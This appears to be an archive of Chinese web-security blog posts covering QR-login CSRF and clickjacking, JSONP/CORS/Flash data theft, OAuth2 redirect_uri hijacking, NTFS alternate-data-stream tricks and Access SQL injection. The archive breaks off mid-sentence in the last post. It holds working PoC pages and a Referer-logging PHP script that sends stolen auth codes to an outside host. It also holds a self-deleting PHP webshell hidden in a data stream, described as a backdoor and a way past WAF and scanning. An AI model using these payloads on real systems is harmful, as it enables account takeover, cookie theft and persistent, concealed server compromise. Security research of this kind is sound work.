一般为20即可,然后点击GO放行: 最后看你自己来判断是否存在并发的问题,例如签到,如果存在那么肯定是签到天数或者签到所获得的奖励会一下子有很多,也可以看Fiddler中的响应报文结果。

2018/4/18
articleCard.readMore

二维码登陆的常见缺陷剖析

二维码登陆的常见缺陷剖析 现在很多的电商平台和互联网型企业都有自己的手机APP,为了方便用户的体验,于是就有了”扫码登陆”这样的功能。看似扫码登陆,实际上还是基于HTTP请求来完成的。 了解扫码登陆步骤 标准的二维码登陆流程如下: 打开web界面进入登陆然后加载二维码 网站开始轮询,来检测二维码状态 打开手机APP进入”扫一扫”,扫描二维码 网站检测到二维码被扫描,进入被扫描后的界面,继续轮询来获取凭证 手机APP进入确认登陆界面 (当点击确认登陆)网站轮询结束获取到了凭证,进入个人中心;(当取消登陆)网站轮询设定时间自动刷新页面。 常见缺陷剖析 0x00 非标准扫码登陆流程缺陷 非标准流程描述 扫描登陆的流程如果不按照标准来做也会存在很多问题,国内一些企业在处理这些的时候省略了如上所述的第五步骤和第六步骤,而是直接扫描后立即登陆。 分析非标准流程可能存在的问题 可进行1:1比例诱导扫描 二维码是一张图片而图片是可以移植的,所以我们可以1:1克隆一个登陆页面来诱导用户进行扫描,这样就可以直接获取用户的权限了。 因为保密协议的问题,这里不对漏洞详情进行描述,简单的使用文字进行叙述: 在测试这种问题的时候,只需要按照步骤去测试下即可发现是否有相对于的问题,我一般会使用浏览器ctrl+s快捷键先克隆下来,因为这样会自带css和js等文件,剩下的只需要你处理一下就行了,也可以参考我之前的文章:微信Netting-QRLJacking分析利用-扫我二维码获取你的账号权限,方法类似就行,但是这里的微信二维码登录是基于OAuth2.0协议的,所以当用户点击之后,我只要获取到授权凭证链接就行了,而一般的二维码登陆是不基于OAuth2.0协议的,就需要处理好你的交互问题。 0x01 QRLJacking-二维码登陆劫持 2017年OWASP推出了这种攻击方式:https://www.owasp.org/index.php/Qrljacking 因为OWASP上有详细的介绍,所以在这里我就不以实际案例来说明了。 补充的一点是在0x00中我已经说明了之前一篇文章微信Netting-QRLJacking分析利用-扫我二维码获取你的账号权限,在这里我称之为Netting-QRLJacking是因为我们可以使用钓鱼网站方式的方法进行大面积撒网~而其实这里是利用了OAuth2.0的一个流程特征,我们想进行二维码登录劫持的时候也可以利用”扫码登陆”的流程特征。 之前已经把”扫码登陆”的流程说的很清楚了,我们知道其中一步轮询是用户点击确认登陆之后就通过轮询这个接口可以直接获得凭证,利用这个特点就行了。 小提示:整个流程划分为一个一个的接口来测试,你会更清楚的。 0x02 CSRF跨站请求访问 之在0x01说了,把整个流程划分为一个个的接口来测试,你就会更清楚,其实潜台词就是“你会发现更多漏洞”~ 以一个实际例子来讲解: 在测试一个站点的时候遇到的问题,其扫码登陆的流程全部为GET类型请求: 打开web界面进入登陆然后加载二维码(http://www.gh0stdemo.cn/getqrcode 返回一段uuid 二维码的链接为 http://www.gh0stdemo.cn/qrcode?code=qrcode) 网站开始轮询,来检测二维码状态(http://www.gh0stdemo.cn/getqrlstate?code=qrcode) 打开手机APP进入”扫一扫”,扫描二维码(http://www.gh0stdemo.cn/qrcode?code=qrcode) 网站检测到二维码被扫描,进入被扫描后的界面,继续轮询来获取凭证(http://www.gh0stdemo.cn/getqrlstate?code=qrcode) 手机APP进入确认登陆界面(这步骤必须需要经过第四步骤之后才可以 http://www.gh0stdemo.cn/putqrlstate?code=qrcode) (当点击确认登陆)网站轮询结束获取到了凭证,进入个人中心;(当取消登陆)网站轮询设定时间自动刷新页面。 在这里我们可以构建这样的PoC: <!DOCTYPE html> <html> <head> <title>PoC</title> </head> <body> <script> function loadsrc(){ document.getElementById("test1").src="http://www.gh0stdemo.cn/qrcode?code=qrcode"; } setTimeout('loadsrc()',1000); </script> <iframe id="test1" src="http://www.gh0stdemo.cn/putqrlstate?code=qrcode"> </iframe> </body> </html> 很简单的一个PoC就构成了,这里也确实存在CSRF的问题,可能在这里有人会想到攻击面得问题,仅仅只限于APP端?当然不,其实原理是一样得,都是把自己的凭证(Cookie)发出去,所以在电脑的web端只要登陆了一样可以完成攻击步骤~ 当然在这里也有POST形式的CSRF,因为内容重复度过高就不一一举例了。 0x03 ClickJacking-点击劫持 点击劫持,视觉欺骗 根据扫码登陆的流程中我们可以看到有一个流程强制的要求了用户去点击确认登陆的按钮,但是这个界面往往没有做点击劫持的防范: 在我之前的一篇文章中详细讲了PoC的制作方法:http://gh0st.cn/archives/2017-12-20/1 之前跟一朋友在测试的时候发现了一些问题,有些网站用iframe标签引用进来,不会百分百的自适应,在这里我使用了div为父元素,如何再在div里面写入iframe这个子元素来自适应就行了。 <html> <head> <meta name="referrer" content="never"> <style type="text/css"> .testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的属性,兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性,兼容各大浏览器*/ } .btn { position: fixed; width: 97%; height: 42px; margin: 0 auto; left: 0; right:0; display:block; top: 815px; } </style> </head> <body> <div class="testframe"> <input type="button" class="btn" value="Click"> <iframe src="http://www.gh0stdemo.cn/qrcode?code=qrcode"></iframe> </div> </body> </html> 示例结果: 结尾 本文没详细的去写,仅仅记录笔者的实践过程和心得。

2018/4/8
articleCard.readMore

读取型CSRF-需要交互的内容劫持

前言 最近在挖洞,”实践出真知”这句话说的很对,在实际挖掘过程中我会思考很多东西,跟朋友一起准备做一份手册,忽然的想到了一些漏洞的定义和规范。 在大多数的人眼里CSRF可能仅仅是写入型的比如:修改个人资料、授权登陆等等功能场景的CSRF问题,同时对CSRF这类问题进行了危害等级划分,就像如上两个例子,可以划分为中危和高危。也许是因为交互式的漏洞并没有SQLi这种直接能利用的漏洞危害高,所以一些厂商对CSRF也并不重视。 步入正题,什么是读取型CSRF,这里我对如下的漏洞归纳进了读取型CSRF,因为这些漏洞的利用手法都跟CSRF是一样的: JSONP劫持 Flash跨域劫持 CORS跨域资源读取 …等等,当然还有Silverlight跨域这些了,不过这里只列举常见的三种来讲解。 读取型CSRF 接下以如上所说的三个漏洞案例来一个个分析。 JSONP劫持 漏洞案例 这里来看一条请求: 这条请求返回的结果中有手机号(这里我测试的账号没绑定手机),如果我们想要以CSRF交互式攻击的方式获取这个手机号该怎么办? 来看看这条请求有callback,而返回结果是不是类似Javascript中的函数? Javascript原函数定义如下: function funName(){} 这里是缺少了函数定义的关键词function和花括号的函数主体部分,只有函数名和函数传参,聪明人已经想到了,这不就相当于是自定义函数被引用了么,而中间那段传参就相当于是一个数组,所以我们可以先用JS自定义好这个函数,然后再引用这个请求,自然就可以获取到数据了。 这时候我们可以来构建一下PoC: <!-- 引用一段如上请求为JS --> <script>function jsonp2(data){alert(JSON.stringify(data));}</script> <script src="http://gh0st.cn/user/center?callback=jsonp2"></script> 使用正常的账号(绑定过手机号)来测试下: 案例总结 其实通过这个例子,我们可以知道HTML标签<script>在一定的情况下是可以跨域读取的。 对此漏洞的修复有很多: 1.打乱响应主体内容 2.Referer等进行限制 …..等等 Flash跨域劫持 Flash跨域比较经典了,在做web目录资产整理的时候有时候会发现这样的文件 crossdomain.xml ,文件内容如果是如下的,那么就存在Flash跨域问题,如下内容的意思是支持所有域: <?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy> 为什么会如此?具体流程是这样的: gh0st.cn 有一个SWF文件,这个文件是想要获取 vulkey.cn 的 userinfo 的返回响应主体,SWF首先会看在 vulkey.cn 的服务器目录下有没有 crossdomain.xml 文件,如果没有就会访问不成功,如果有 crossdomain.xml ,则会看crossdomain.xml 文件的内容里面是否设置了允许 gh0st.cn 域访问,如果设置允许了,那么 gh0st.cn 的SWF文件就可以成功获取到内容。所以要使Flash可以跨域传输数据,其关键就是crossdomain.xml 文件。 当你发现 crossdomain.xml 文件的内容为我如上所示的内容,那么就是存在Flash跨域劫持的。 漏洞案例 在对一个厂商进行测试的时候正好发现了这样的文件: 在这里我需要做两件事: 1.找到一个能获取敏感信息的接口 2.构建PoC 在这里敏感的信息接口以个人中心为例子,PoC使用的是 https://github.com/nccgroup/CrossSiteContentHijacking/raw/master/ContentHijacking/objects/ContentHijacking.swf 案例总结 很简单的一个东西,但是用处却很大,其利用方法跟CSRF也是一样的,只需要修改下PoC就行。 修复方案同样也很简单,针对<allow-access-from domain="*" />的domain进行调整即可。 CORS跨域资源读取 漏洞案例 如上图中我在请求的时候加上了请求头 Origin: http://gh0st.cn,而对应的响应包中出现了Access-Control-Allow-Origin: http://gh0st.cn这个响应头其实就是访问控制允许,在这里是允许http://gh0st.cn的请求的,所以http://gh0st.cn是可以跨域读取此网址的内容的~在这里我介绍下Origin: Origin和Referer很相似,就是将当前的请求参数删除,仅剩下三元组(协议 主机 端口),标准的浏览器,会在每次请求中都带上Origin,至少在跨域操作时肯定携带(例如ajax的操作)。 所以要测试是否存在CORS这个问题就可以参考我上面的操作手法了。 怎么利用呢?在这里我使用了github上的开源项目:https://github.com/nccgroup/CrossSiteContentHijacking,readme.md中有具体的说明,这里我就不一一讲解了,那么已经确认问题了,那就需要进一步的验证。 在这里我找到了一处接口,其响应主体内容是获取用户的真实姓名、身份证、手机号等内容: /daren/author/query (要注意的是这个请求在抓取的时候是POST请求方式,但并没有请求正文,经过测试请求正文为任意内容即可) 响应报文正文内容: 这里CrossSiteContentHijacking项目我搭建在了本地(127.0.0.1) http://127.0.0.1/CrossSiteContentHijacking/ContentHijackingLoader.html 根据项目所说的操作去进行参数的配置,然后点击 Retrieve Contents 按钮: 测试如下,测试结果是可以跨域读取的: 案例总结 这个问题其实就是对Origin的验证没有控制好,对其进行加强即可。 结尾 结尾想说的东西其实也没什么了,总结了这些东西希望能帮助到各位~

2018/3/22
articleCard.readMore

OAuth2.0认证缺陷-第三方帐号快捷登录授权劫持漏洞

什么是OAuth2.0? OAuth2.0是OAuth协议的下一版本,但不向后兼容OAuth 1.0即完全废止了OAuth1.0。 OAuth 2.0关注客户端开发者的简易性。要么通过组织在资源拥有者和HTTP服务商之间的被批准的交互动作代表用户,要么允许第三方应用代表用户获得访问的权限。同时为Web应用,桌面应用和手机,和起居室设备提供专门的认证流程。2012年10月,OAuth 2.0协议正式发布为RFC 6749 。 RFC 6749 : https://tools.ietf.org/html/rfc6749 QQ OAuth2.0 流程分析&攻击 国内的很多厂商使用了OAuth2.0的认证方式,这里以QQ为例。 QQ互联 : https://connect.qq.com/intro/login 相信大家在很多网站上都见过如下的登陆界面: 可以看见除了厂商本身网站的账号以外还有QQ跟微信这两个快捷登陆,首先以QQ的快捷登陆为例子: 点击QQ图标进入登陆的链接 -> https://graph.qq.com/oauth2.0/show?which=Login&display=pc&response_type=code&client_id=100273020&redirect_uri=http://a.com/?view=null&uuid=65392bc3fc724fca8dcba23558f67ec8 这里因为我的QQ是在电脑上已经登陆了,所以我可以直接进行登陆,这时候进行抓包截取整个流程, 关键流程分析 Request 1: POST /oauth2.0/authorize HTTP/1.1 Host: graph.qq.com 1 Response: HTTP/1.1 302 Moved Temporarily Server: tws Date: Fri, 09 Feb 2018 11:50:42 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=50 Content-Encoding: gzip Location: http:/a.com/?uuid=65392bc3fc724fca8dcba23558f67ec8&code=120ED71CAECB11BAD538820E12B54664 Request 2:(这个请求表示根据参数code的值进行个人用户凭证生成) GET /?uuid=65392bc3fc724fca8dcba23558f67ec8&code=120ED71CAECB11BAD538820E12B54664 HTTP/1.1 Host: a.com 2 Response:(setcookie返回用户凭证) HTTP/1.1 302 Moved Temporarily Content-Length: 0 Connection: close Set-Cookie: 用户凭证 Location: https://www.a.com/ Cache-Control: max-age=0 这时候我们就可以注意到问题了,请求1产生了一个链接,其就是QQ登陆的地址中的参数redirect_uri附带上参数code的值,而这个链接是生成用户凭证的,所以链接中的参数code也是至关重要的,看到这里我的攻击思路已经产生了: 假设QQ登陆的地址中的参数redirect_uri的值可以为我的网站,那么只要用户A点击我就可以根据网站日志访问记录获取参数code的值再根据请求2获取用户A在 http://a.com 的账号权限。 理想很好,现实残酷: 这里QQ做了限制,我不需要去分析QQ关联的全部流程就能知道这里的参数client_id,其实就是 http://a.com 的QQ互联的服务id, http://graph.qq.com 根据client_id获取 http://a.com 的设置允许的参数redirect_uri的值再跟你输入的参数redirect_uri的值进行比较。 这时候我只需要对参数redirect_uri进行Fuzz就能知道哪些范围是允许的: http://a.com 的二级子域名可以为参数redirect_uri的值,目前我需要解决的就是如何根据 http://a.com 的二级子域名获取到code的值: 1.我有一个HTML注入漏洞 漏洞地址:http://1.a.com/?xss=%3Cimg%20src="http://www.evilchen.cn/getref.php"%3E getref.php的内容为如下PHP代码: <?php file_put_contents("ref.txt", $_SERVER['HTTP_REFERER']); ?> 将漏洞地址作为参数redirect_uri的值,然后诱导用户A点击登陆,这时候跳转的链接就变成了: http://1.a.com/?xss=%3Cimg%20src=”http://www.evilchen.cn/getref.php”%3E&code=120ED71CAECB11BAD538820E12B54664 跳转之后这个链接会做为HTTP Referer的值再请求[http://www.evilchen.cn/getref.php],那么我的服务器就会接收到code的值,再根据Request 2的值填入,我就可以获取用户A在a.com的账号权限了 2.我能在其他地方引用外部资源 很多厂商都会有社区、论坛等功能,大部分会使用Discuz程序来做,而Discuz确实可以引用外部资源~ 这里我使用的图片地址还是 http://www.evilchen.cn/getref.php 然后进行帖子回复。 帖子地址为 http://bbs.a.com/thread-123-1-1.html 将帖子地址作为参数redirect_uri的值,然后诱导用户A点击登陆,这时候跳转的链接就变成了: http://bbs.a.com/thread-123-1-1.html?code=120ED71CAECB11BAD538820E12B54664 跳转之后这个链接会做为HTTP Referer的值再请求 http://www.evilchen.cn/getref.php 那么我的服务器就会接收到code的值,再根据Request 2的值填入,我就可以获取用户A在a.com的账号权限了: 攻击流程 我点击http://a.com的QQ登录,获取QQ快捷登录链接,替换redirect_uri的值为如上两个问题的地址然后发送给受害者 受害者点击QQ头像登录,会跳转到redirect_uri的值(链接),并且携带上code的值 受害者浏览器以跳转后的链接作为referer头请求外链图片(php) 攻击者获取referer的值,构建B地址,并且进入链接(注意 攻击者要在未登录情况下) 微信快捷登陆流程 开发平台:https://open.weixin.qq.com/ http://a.com的地址如下: https://open.weixin.qq.com/connect/qrconnect?appid=&redirect_uri=http://a.com/wx?callback=null 微信扫描后会跳转到: http://a.com/weixin?callback=null&code=021n2XAB00C4mg2FvKyB0W7QAB0n2XAF 而只要利用QQ快捷登陆的方法我们一样可以获取到code的值 攻击流程 我点击http://a.com的微信登录,获取微信快捷登录链接,替换redirect_uri的值为如上两个问题的地址然后发送给受害者 受害者点开微信扫描,会跳转到redirect_uri的值(链接),并且携带上code的值 受害者浏览器以跳转后的链接作为referer头请求外链图片(php) 攻击者获取referer的值,构建B地址,并且进入链接(注意 攻击者要在未登录情况下) 风险检测 我简单的写了个poc,仅仅做风险检测,具体危害可以自行检查~~(PS:支持微信跟QQ的快捷登陆风险检测) # -*- coding:utf-8 -*- # Name: QQ and WeChat OAuth2.0 PoC # Auther: EvilChen import requests,urlparse,urllib def scan(url): url = urllib.unquote(url) tempUrl = getValue(url) tempDomain = urlparse.urlparse(tempUrl).netloc domainA = tempDomain.split('.') domainB = tempDomain.replace(domainA[0],"mstlab") url = url.replace(tempUrl,"http://" + domainB) r = requests.get(url) # print url if ("redirect uri is illegal" in r.text) or (">redirect_uri" in r.text): print "[*] This Website is safe." else: print "[*] This Website is vulnerable!" def getValue(url): query = urlparse.urlparse(url).query resUrl = dict([(k,v[0]) for k,v in urlparse.parse_qs(query).items()])['redirect_uri'] return resUrl if __name__ == '__main__': url = raw_input("URL: ") scan(url) poc的使用方法很简单,只需要复制QQ和微信快捷登陆的链接: 经过我们实验室的排查发现存在风险的厂商如下: 等国内知名厂商近百家都存在此危害。 修复建议 redirect_uri的值做限制 结尾 文章参考: http://wooyun.jozxing.cc/search?keywords=OAuth&content_search_by=by_bugs http://www.cnvd.org.cn/flaw/show/CNVD-2014-02785 http://www.cnvd.org.cn/flaw/show/CNVD-2018-01622

2018/2/12
articleCard.readMore

鸡肋点搭配ClickJacking攻击-获取管理员权限

前言 有一段时间没做测试了,偶尔的时候也会去挖挖洞。本文章要写的东西是我利用ClickJacking拿下管理员权限的测试过程。但在说明过程之前,先带大家了解一下ClickJacking的基本原理以及简单的漏洞挖掘。 ClickJacking ClickJacking背景说明: ClickJacking(点击劫持)是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼在2008年首创的。 ClickJacking是一种视觉欺骗攻击手段,在web端就是iframe嵌套一个透明不可见的页面,让用户在不知情(被欺骗)的情况下,点击攻击者想要欺骗用户点击的位置。 说道视觉欺骗,相信有炫技经验的朋友们一定会想到,自己一个后台拿不下Webshell权限的时候,而想要黑掉首页从而达到炫技,使用的是什么呢?没错一般使用CSS样式表来劫持首页以造成黑掉的假象~ <table style="left: 0px; top: 0px; position: fixed;z-index: 5000;position:absolute;width:100%;height:300%;background-color: black;"><tbody><tr><td style="color:#FFFFFF;z-index: 6000;vertical-align:top;"><h1>hacked by key</h1></td></tr></tbody></table> 除了可以炫技,CSS劫持可以做的东西也有很多:例如经典的form表单钓鱼攻击 <table+style="left:+0px;+top:+0px;+position:+fixed;z-index:+5000;position:absolute;width:100%;background-color:white;"><tr><td><form action="http://192.168.0.109/login.php" method="post">账号:<input type="text" name="name"><br>密码:<input type="password" name="pwd"><br><input type="submit" value="登陆"></form><td></tr></table> 这里就不对代码的意思进行解读了,可以看到CSS劫持达到的视觉欺骗攻击效果还是比较LOW的,因为这样的攻击手段偏被动式。而我要说的点击劫持其实也算是被动式,不过相对来说比较容易获得信任让被动式触发,这里只是单单对攻击手法谁的成功率比较高作为比较 前面背景介绍的时候说了,点击劫持攻击其实就是镶嵌一个iframe框架(存在点击劫持漏洞的页面)在页面上,然后再把其修改为透明的样式。这样的操作只是造成了视觉欺骗,还没达到欺骗点击的效果,所以就需要知道iframe框架其按钮的位置,然后在基于透明层模拟一个位置大小相同的按钮,发给用户让其点击~~ 这里以QQ安全中心的一个点击劫持为例,作为一个QQ的资深用户应该知道QQ是有安全中心紧急冻结QQ服务的,只要登录自己的安全中心就可以冻结,地址(漏洞地址,目前漏洞已经修复)为:https://aq.qq.com/cn2/message_center/wireless/wireless_seal_auth?source_id=2985 一点击,你的QQ就被会冻结(当时不知道逗了多少人~),那这样怎么利用呢? 1.建立iframe框架: <iframe id="frame" src="https://aq.qq.com/cn2/message_center/wireless/wireless_seal_auth?source_id=2985"></iframe> 2.建立iframe的CSS样式: #frame { border: 0px; /*边框属性为0*/ height: 100%; /*框架高度100%*/ width: 100%; /*框架宽度100%*/ /*控制不透明度的属性,兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性,兼容各大浏览器*/ } 3.获取iframe框架引用的原页面的按钮位置和大小: 大小直接通过审查元素可以看得到: 现在要获取的就是按钮元素到浏览器顶部的距离,这里通过id.offsetTop有些时候是无法直接获取的: >>span_verify.offsetTop ←16 获取到的是16~很醉,所以使用如下的方法直接获取: document.getElementById('span_verify').getBoundingClientRect().top 4.建立按钮: <input type="button" class="button" value="Click" /> 5.根据第三步骤获取到的建立按钮样式: .button { position: fixed; width: 100%; height: 42px; margin: 0 auto; left: 0; right: 0; display: block; top: 278px; } 6.散播,用户中招: 一次点击劫持攻击案例 说了这么多,在前几天的测试中我是如何拿到管理员权限呢?挖掘到一处self-xss,这里先说明下self-xss可以理解为只能攻击myself~ 发现流程: 发现输入框->秉着见框就X的原理插入XSS Payload->弹框->发现成功 然而获取到的URL链接是/?keyword=<script>alert(1)</script>,但是不是xss,keyword的值显示在输入框内,需要你再点击搜索标题按钮才可以触发漏洞。 形成的攻击思路->iframe嵌套漏洞URL链接->Click Jacking攻击页面构造->通过留言给管理员引诱触发 攻击页面构造流程其实耐心读到这里的朋友已经是非常明确步骤了: 建立iframe框架->建立iframe框架CSS样式->获取按钮位置大小->建立按钮->建立按钮CSS样式->留言板留言外网攻击链接->获取管理员Cookie->Cookie伪造进入后台 结尾 一次很有意思的实践,让自己满满的成就感,同时也完成了项目任务~

2017/12/20
articleCard.readMore

文件寄生——NTFS文件流实际应用

What is NTFS文件流 NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。 NTFS文件流生成步骤 我们在任意一个NTFS分区下打开CMD命令提示符,输入echo mstlab>>mst.txt:test.txt,则在当前目录下会生成一个名为mst.txt的文件,但文件的大小为0字节,打开后也无任何内容。 只有输入命令:notepad mst.txt:test.txt 才能看见写入的mstlab 在上边的命令中,mst.txt可以不存在,也可以是某个已存的文件,文件格式无所谓,无论是.txt还是.jpg|.exe|.asp都行b.txt也可以任意指定文件名以及后缀名。(可以将任意文本信息隐藏于任意文件中,只要不泄露冒号后的虚拟文件名(即test.txt),别人是根本不会查看到隐藏信息的) 包含隐藏信息的文件仍然可以继续隐藏其它的内容,对比上例,我们仍然可以使用命令echo mstlab1>>mst.txt:test1.txt给mst.txt建立新的隐藏信息的流文件,使用命令notepad mst.txt:test1.txt打开后会发现mstlab1这段信息,而mstlab仍然存在于mst.txt:test.txt中丝毫不受影响 所以这里的宿主mst.txt成功的被test.txt和test1.txt所寄生,而在这里的微妙关系显而易见,宿主消失寄生消失。 NTFS特性和原理分析 特性1 实验工具下载:https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z 工具使用说明: create 创建文件流 enum 列举文件流 delete 删除文件流 write 写入内容到文件流 append 增加文件到文件流 launch 执行文件流的内容 dump 读取文件流的内容 我们让上一步骤归零,重新来看看mst.txt: 而这里的default文件流就验证了最开头的一句话,默认使用的是为命名的文件流。 实验开始,首先我们使用FileStreams.exe创建一个文件流vkey: FileStreams.exe create mst.txt vkey 然后写入内容到文件流vkey: FileStreams.exe write mst.txt vkey content 再来查看文件流vkey的内容: FileStreams.exe dump mst.txt vkey 14 这里的14从何而来,相信聪明的你们能明白。(文件流vkey大小 14) 最开始也说了,文件流是可以用来启动程序的,我们来试试: 加入文件到文件流vkey: FileStreams.exe append mst.txt vkey C:\Users\gh0stkey\Desktop\test\FileStreams.exe 查看文件流vkey的内容,这里就看前100个字节的内容: FileStreams.exe dump mst.txt vkey 100 执行文件流vkey: 顺利的执行了 C:\Users\gh0stkey\Desktop\test\FileStreams.exe 这个文件。 特性2 自动创建空文件: 自动创建宿主,然后寄生。 在没有原文件的情况下创建文件流,会自动创建一个空文件。 原理分析: 好,现在我们以及初步了解了文件流的特性。再来看看NTFS文件流实现原理: 如文件大小,文件创建时间,文件修改时间,文件名,文件内容等被组织成属性来存放,NTFS定义了一序列的文件属性: 详细说明可以搜索NTFS3G,这些属性统一组织在NTFS的MFT(Master File Table)上,每个MFT大小1024个字节,MFT的$DATA属性即是前面提到的文件流,通常来说包含多个不同名字的$DATA属性即说明该文件存在多个文件流,下图是winhex打开1.txt定位到1.txt的MFT,我们实际看一下NTFS是如何组织的: Pentesting With NTFS Webshell后门隐藏 写一个PHP的Webshell,首先网站的默认首页是index.php,所以使用了第一段代码: exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php'); 直接写一个一句话内容到key.php这个文件流中。 其次,文件流是不可能直接执行的,但是PHP可以使用包含函数: $key = <<<key echo "<?php include 'index.php:key.php';?>">>a.php key; exec($key); 最后,为了不被发现要删除本身文件: $url = $_SERVER['PHP_SELF']; $filename= substr($url,strrpos($url,'/')+1); @unlink($filename); 最终代码: <?php exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php'); $key = <<<key echo "<?php include 'index.php:key.php';?>">>a.php key; exec($key); $url = $_SERVER['PHP_SELF']; $filename= substr($url,strrpos($url,'/')+1); @unlink($filename); ?> 软件后门隐藏 使用特性1写一段代码后台自动运行这个文件流即可。 ByPass WAF 文件上传 在文件上传的时候可以直接ByPass Waf规则,但是较为鸡肋需要搭配文件包含漏洞: Bypas 查杀 利用下面的默认流替换特性上传文件名为1.php:的文件,绕过后缀名限制即可。 当然你也可以做一个持续性webshell后门,然后使用include包含起来即可利用: 默认流替换 默认流也就是宿主自身的,这里完全可以吞噬宿主,成为宿主。 这个方法算是打破常规的认识了,很有意思。 如图,我们直接执行echo xxxx>>1.txt:,可替换默认流: 当然如果宿主不存在,将会创建宿主并且吞噬宿主,从而成为宿主。 NTFS局限性 这个NTFS数据流文件,也叫Alternate data streams,简称ADS,是NTFS文件系统的一个特性之一,允许单独的数据流文件存在,同时也允许一个文件附着多个数据流,即除了主文件流之外还允许许多非主文件流寄生在主文件流之中,它使用资源派生的方式来维持与文件相关信息,并且这些寄生的数据流文件我们使用资源管理器是看不到的。 2、为什么NTFS有数据流这个特性? 原意是为了和Macintosh的HFS文件系统兼容而设计的,使用这种技术可以在一个文件资源里写入相关数据(并不是写入文件中),而且写进去的数据可以使用很简单的方法把它提取出来作为一个独立文件读取,甚至执行。 3、为什么资源管理器里面看不到文件所带的数据流文件呢? 我们之所以无法在系统中看到NTFS数据流文件,是因为Windows中的很多工具对数据流文件的支持并不是很好,就像“资源管理器”,我们无法在“资源管理器”中看到有关数据流文件的变化。 不过这个原因很奇怪,同样是MS自己做的东西,”资源管理器都支持不好,还有啥工具能支持好呢?” ,后来再想,也可能是这样一个原因:在当时写有关NTFS文件系统的数据流存储的时候很多WINDOWS工具没有相应的更新,同时呢NTFS流的显示与普通的文件不一样,需要使用其他的枚举方式来完成,再有NTFS对广大普通用户桌面用户来说没有必要去看到,更多的是被专业软件所使用,即使显示出来也没意义。 OK,进入正题,那么我们今天来分析下NTFS文件流这个寄生虫的一些“缺点” 宿主需求,寄生虫需要宿主才可以繁衍。 共存状态。宿主死亡,寄生虫随之死亡。 局限点突破 宿主需求 测试1 一开始感觉无后缀名的会被windows自动隐藏起来,所以输入命令:echo mstsec>>hi:ourlife.txt 然而是自己想多了。。。 测试2 后来想了下,Windows资源管理器是可以隐藏文件的,而默认的服务器隐藏文件是看不见的,也就是说,宿主是可以隐藏的 命令:attrib +s +h hi 解释:attrib命令的意思,+s是为文件添加系统文件属性,+h是添加隐藏属性的意思。 此方法可行,在一定的程度上保护了咱们的寄生虫。 但是我这个人吧,有一个毛病,强迫症,就感觉不舒服,于是就开始了更隐蔽的测试。 测试3 我重新理了一下思路,既然是无宿主,那么就顺着这个路线开始慢慢的推进,那就试试无宿主自体繁衍: 正常宿主寄生命令:echo gh0stkey>>www:hiourlife.txt www是宿主文件,无宿主就删掉www呗~ 修改后的命令:echo gh0stkey>>:hiourlife.txt 结果:无宿主寄生,完全是可以的。测试3成功 其实这个命令就是将寄生虫寄生到文件夹上,转换一下命令就成了: echo gh0stkey>>/:hiourlife.txt 那么运用在实际测试中,只要目录不变动,就不会被(安全狗之类的WAF)发现 END 原文件=宿主,文件流=寄生虫。各位朋友根据根据这篇文章的基础继续深入研究,把文件流应用于各种操作之中,造出”猥琐”流。

2017/3/29
articleCard.readMore

移位溢注:告别依靠人品的偏移注入

介绍: 在Access数据库类型注入的时候,我们获取不到列名(前提是有表名),一般会选择使用偏移注入,但是这种注入方式往往借助的是个人的人品,且步骤繁琐。本文中我们研究了一种新的注入技术让“偏移注入不在需要人品”。在这里定义这种注入技术为:“移位溢注技术”。 它适用于ACCESS和MYSQL(任何版本) 正文: 我们先来看看普通的偏移注入步骤: 1.判断注入点 2.order by 判断长度 3.判断表名 4.联合查询 5.获取表中列数:**union select 1,2,3,4,..,\* from TABLE** 6.开始偏移注入:**TABLE as a inner join TABLE as b ona.id=b.id** 由于步骤6的方法过于需要人品值,且语句繁琐,因此在这里,我们研究新的注入技术: 首先来看看步骤6语句的整体意思: 步骤6的语句,表示给TALBE取2个别名,然后分别用别名取查询TALBE的内容(表a和表b);而on a.id = b.id 这样的条件是为了满足语法需求,实际并没有作用,因为相同内容的表,相同字段内容一定相同。 这时,我们再回过头来看步骤5: 由于联合查询中select后面添加数字的目的是为了让联合查询返回接结果和网站正常查询返回的结果的列数一致(不一致数据库会报错,页面无法显示),且*表示通配符,可以表示整个表格所有列;因此这里通过数字来占位,并使用*来替代TABLE中的所有列,使得联合查询可以完成,并推算出*的值。 这时候我们继续研究偏移注入的整体公式方法,发现即使使用多级偏移注入也需要一定的概率(人品值)才可以得到想要的结果,所以我们就尝试研究新的方法能不能替换这种不固定概率的方法。 现在我们重新整理一下SQL语句,从联合查询开始: 1.原union语句:union select 1,2,3,..,p..,n from TABLE (p=页面爆出的数字,可能有多个p1,p2..;n=原网站查询的总列数;TALBE=我们获得的表名;下面开始就使用上述字母的定义) 2.新语句: union select 1,2,3,..,p-1,TABLE.*,p+k,..,nfrom TABLE where 字段名 = 字段内容 –在p的位置爆出TALBE表中第一个字段的内容(其他位置还可能爆出更多内容) (这里如果存在已知字段名可以使用,没有就不用,一般id这个字段时存在的,可以使用id = 1来显示第一行) union select1,2,3,..,p-2,TABLE.*,p+k-1,..,n from TABLE where 字段名 = 字段内容 –在p的位置爆出TALBE表中第二个字段的内容(其他位置还可能爆出更多内容) union select 1,2,3,..,p-3,TABLE.*,p+k-2,..,nfrom TABLE where 